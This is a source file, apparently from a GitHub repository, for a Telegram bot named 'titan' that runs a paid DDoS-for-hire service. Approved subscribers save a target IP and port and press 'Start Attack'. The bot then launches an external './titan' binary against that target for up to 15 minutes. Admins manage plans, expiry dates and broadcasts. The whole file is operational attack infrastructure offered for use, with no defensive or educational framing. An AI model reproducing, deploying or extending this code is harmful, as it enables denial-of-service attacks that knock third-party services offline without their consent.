-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtitan.py
339 lines (270 loc) · 12.6 KB
/
titan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
import time
import requests
import logging
from threading import Thread, Timer
import json
import os
import telebot
import telebot.util
import subprocess
from datetime import datetime, timedelta
# Load configuration
with open('config.json') as config_file:
config = json.load(config_file)
BOT_TOKEN = config['bot_token']
ADMIN_IDS = config['admin_ids']
bot = telebot.TeleBot(BOT_TOKEN, threaded=False)
# File paths
USERS_FILE = 'users.txt'
USER_ATTACK_FILE = "user_attack_details.json"
def load_users():
if not os.path.exists(USERS_FILE):
return []
users = []
with open(USERS_FILE, 'r') as f:
for line in f:
try:
user_data = json.loads(line.strip())
users.append(user_data)
except json.JSONDecodeError:
logging.error(f"Invalid JSON format in line: {line}")
return users
def save_users(users):
with open(USERS_FILE, 'w') as f:
for user in users:
f.write(f"{json.dumps(user)}\n")
# Initialize users
users = load_users()
# Blocked ports
blocked_ports = [8700, 20000, 443, 17500, 9031, 20002, 20001]
def load_user_attack_data():
if os.path.exists(USER_ATTACK_FILE):
with open(USER_ATTACK_FILE, "r") as f:
try:
return json.load(f) # Try loading JSON data
except json.JSONDecodeError:
logging.error(f"Invalid JSON in {USER_ATTACK_FILE}. Reinitializing the file.")
return {} # Return an empty dictionary if JSON is invalid
return {} # If the file does not exist, return an empty dictionary
# Save attack details to the file
def save_user_attack_data(data):
with open(USER_ATTACK_FILE, "w") as f:
json.dump(data, f)
# Initialize the user attack details
user_attack_details = load_user_attack_data()
# Initialize active attacks dictionary
active_attacks = {}
# Dictionary to store timers for each user's attack
attack_timers = {}
# Function to check if a user is an admin
def is_user_admin(user_id):
return user_id in ADMIN_IDS
# Function to check if a user is approved
def check_user_approval(user_id):
for user in users:
if user['user_id'] == user_id and user['plan'] > 0:
return True
return False
# Send a not approved message
def send_not_approved_message(chat_id):
bot.send_message(chat_id, "*YOU ARE NOT APPROVED TO USE THIS ⚠*", parse_mode='Markdown')
# Run attack command synchronously
def run_attack_command_sync(target_ip, target_port, action):
if action == 1:
process = subprocess.Popen(["./titan", target_ip, str(target_port), "1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
active_attacks[(target_ip, target_port)] = process
elif action == 2:
process = active_attacks.pop((target_ip, target_port), None)
if process:
process.terminate() # Safely terminate the process
logging.info(f"Stopped attack on {target_ip}:{target_port}")
# Function to stop the attack due to timer expiry
def auto_stop_attack(user_id, target_ip, target_port, chat_id):
if (target_ip, target_port) in active_attacks:
bot.send_message(chat_id, f"Attack on {target_ip}:{target_port} automatically stopped after 15 minutes.", parse_mode='Markdown')
run_attack_command_sync(target_ip, target_port, 2) # Stop attack
del attack_timers[user_id] # Remove the timer from the dictionary
# Buttons
btn_attack = telebot.types.KeyboardButton("Save Attack ⚡")
btn_start = telebot.types.KeyboardButton("Start Attack 🚀")
btn_stop = telebot.types.KeyboardButton("Stop Attack 🔴")
markup = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True)
markup.add(btn_attack, btn_start, btn_stop)
# Start and setup commands
@bot.message_handler(commands=['start'])
def send_welcome(message):
user_id = message.from_user.id
if not check_user_approval(user_id):
send_not_approved_message(message.chat.id)
return
username = message.from_user.username
welcome_message = (f"Welcome, {username}!\n\n"
f"Please choose an option below to continue.")
bot.send_message(message.chat.id, welcome_message, reply_markup=markup)
@bot.message_handler(commands=['approve_list'])
def approve_list_command(message):
try:
if not is_user_admin(message.from_user.id):
send_not_approved_message(message.chat.id)
return
approved_users = [user for user in users if user['plan'] > 0]
if not approved_users:
bot.send_message(message.chat.id, "No approved users found.")
else:
response = "\n".join([f"User ID: {user['user_id']}, Plan: {user['plan']}, Valid Until: {user['valid_until']}" for user in approved_users])
bot.send_message(message.chat.id, response, parse_mode='Markdown')
except Exception as e:
logging.error(f"Error in approve_list command: {e}")
# Broadcast Command
@bot.message_handler(commands=['broadcast'])
def broadcast_message(message):
user_id = message.from_user.id
chat_id = message.chat.id
cmd_parts = message.text.split(maxsplit=1)
if not is_user_admin(user_id):
bot.send_message(chat_id, "*YOU ARE NOT AUTHORIZED TO USE THIS ⚠.*", parse_mode='Markdown')
return
if len(cmd_parts) < 2:
bot.send_message(chat_id, "*Invalid command format. Use /broadcast <message>*", parse_mode='Markdown')
return
broadcast_msg = cmd_parts[1]
# Send the message to all approved users
for user in users:
if user['plan'] > 0:
try:
bot.send_message(user['user_id'], broadcast_msg, parse_mode='Markdown')
except telebot.apihelper.ApiException as e:
logging.error(f"Failed to send message to user {user['user_id']}: {e}")
bot.send_message(chat_id, "*Broadcast message sent to all approved users.*", parse_mode='Markdown')
# /owner command handler
@bot.message_handler(commands=['owner'])
def send_owner_info(message):
owner_message = "This Bot Has Been Developed By @SahilModzOwner"
bot.send_message(message.chat.id, owner_message)
@bot.message_handler(commands=['approve', 'disapprove'])
def approve_or_disapprove_user(message):
user_id = message.from_user.id
chat_id = message.chat.id
cmd_parts = message.text.split()
if not is_user_admin(user_id):
bot.send_message(chat_id, "*YOU ARE NOT AUTHORIZED TO USE THIS ⚠*", parse_mode='Markdown')
return
if len(cmd_parts) < 2:
bot.send_message(chat_id, "*Invalid command format. Use /approve <user_id> <plan> <days> or /disapprove <user_id>.*", parse_mode='Markdown')
return
action = cmd_parts[0]
target_user_id = int(cmd_parts[1])
plan = int(cmd_parts[2]) if len(cmd_parts) >= 3 else 0
days = int(cmd_parts[3]) if len(cmd_parts) >= 4 else 0
if action == '/approve':
valid_until = (datetime.now() + timedelta(days=days)).date().isoformat() if days > 0 else datetime.now().date().isoformat()
user_info = {"user_id": target_user_id, "plan": plan, "valid_until": valid_until, "access_count": 0}
users.append(user_info)
save_users(users)
msg_text = f"*User {target_user_id} approved with plan {plan} for {days} days.*"
else: # disapprove
users[:] = [user for user in users if user['user_id'] != target_user_id]
save_users(users)
msg_text = f"*User {target_user_id} disapproved and reverted to free.*"
bot.send_message(chat_id, msg_text, parse_mode='Markdown')
# Handle the IP and port input from the user
@bot.message_handler(func=lambda message: message.text == 'Save Attack ⚡')
def handle_attack_setup(message):
chat_id = message.chat.id
msg = bot.send_message(chat_id, "Please enter the target IP and port in this format: `IP PORT`")
bot.register_next_step_handler(msg, save_ip_port)
def save_ip_port(message):
try:
user_id = message.from_user.id
chat_id = message.chat.id
ip_port = message.text.split() # Split the input by space
if len(ip_port) != 2:
bot.send_message(chat_id, "Invalid format. Please enter the IP and port in the format: `IP PORT`")
return
target_ip, target_port = ip_port
# Save the IP and port to user_attack_details
user_attack_details[user_id] = [target_ip, target_port]
save_user_attack_data(user_attack_details)
bot.send_message(chat_id, f"Target IP and Port saved as: `{target_ip}:{target_port}`", parse_mode='Markdown')
except ValueError:
bot.send_message(chat_id, "Invalid format. Please enter a valid IP and port.")
# Function to start the attack
@bot.message_handler(func=lambda message: message.text == 'Start Attack 🚀')
def handle_start_attack(message):
try:
user_id = message.from_user.id
chat_id = message.chat.id
if not check_user_approval(user_id):
send_not_approved_message(chat_id)
return
attack_details = user_attack_details.get(user_id)
if attack_details:
target_ip, target_port = attack_details
if int(target_port) in blocked_ports:
bot.send_message(chat_id, f"Port {target_port} is blocked and cannot be used for attacks.", parse_mode='Markdown')
else:
bot.send_message(chat_id, f"Starting attack on {target_ip}:{target_port}", parse_mode='Markdown')
# Start the attack
attack_thread = Thread(target=run_attack_command_sync, args=(target_ip, target_port, 1))
attack_thread.start()
# Set a timer to auto-stop the attack after 15 minutes (900 seconds)
if user_id in attack_timers:
attack_timers[user_id].cancel() # Cancel any previous timer
attack_timers[user_id] = Timer(900, auto_stop_attack, args=[user_id, target_ip, target_port, chat_id])
attack_timers[user_id].start()
else:
bot.send_message(chat_id, "Please set the target IP and Port first by using 'Save Attack ⚡'", parse_mode='Markdown')
except Exception as e:
logging.error(f"Error in start_attack: {e}")
# Function to stop the attack
@bot.message_handler(func=lambda message: message.text == 'Stop Attack 🔴')
def handle_stop_attack(message):
try:
user_id = message.from_user.id
chat_id = message.chat.id
attack_details = user_attack_details.get(user_id)
# Check if there is an active attack before proceeding
if attack_details and (tuple(attack_details) in active_attacks):
target_ip, target_port = attack_details
bot.send_message(chat_id, f"Stopping attack on {target_ip}:{target_port}", parse_mode='Markdown')
# Stop the attack
run_attack_command_sync(target_ip, target_port, 2)
# Remove the attack from active_attacks dictionary
active_attacks.pop((target_ip, target_port), None)
# Cancel the auto-stop timer if the user stops the attack manually
if user_id in attack_timers:
attack_timers[user_id].cancel()
del attack_timers[user_id]
else:
bot.send_message(chat_id, "No active attack to stop. Please start an attack first.", parse_mode='Markdown')
except requests.exceptions.RequestException as e:
logging.error(f"RequestException occurred: {str(e)}")
bot.send_message(chat_id, "Failed to communicate with Telegram API. Please try again later.")
except Exception as e:
logging.error(f"Error in stop_attack: {e}")
def send_message_with_retry(chat_id, text, retries=3, delay=5):
for i in range(retries):
try:
bot.send_message(chat_id, text, parse_mode='Markdown')
break # If successful, break out of the loop
except requests.exceptions.RequestException as e:
logging.error(f"RequestException occurred: {str(e)}")
if i < retries - 1: # If not the last attempt, wait and retry
time.sleep(delay)
else:
bot.send_message(chat_id, "Failed to communicate with Telegram API after multiple attempts.")
# Function to run the bot continuously
def run_bot():
while True:
try:
bot.polling(none_stop=True, timeout=60, long_polling_timeout=60)
except Exception as e:
logging.error(f"Bot polling failed: {str(e)}")
time.sleep(15) # Sleep before retrying to avoid rapid failures
# Main entry point
if __name__ == '__main__':
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
try:
run_bot()
except KeyboardInterrupt:
logging.info("Bot stopped by user.")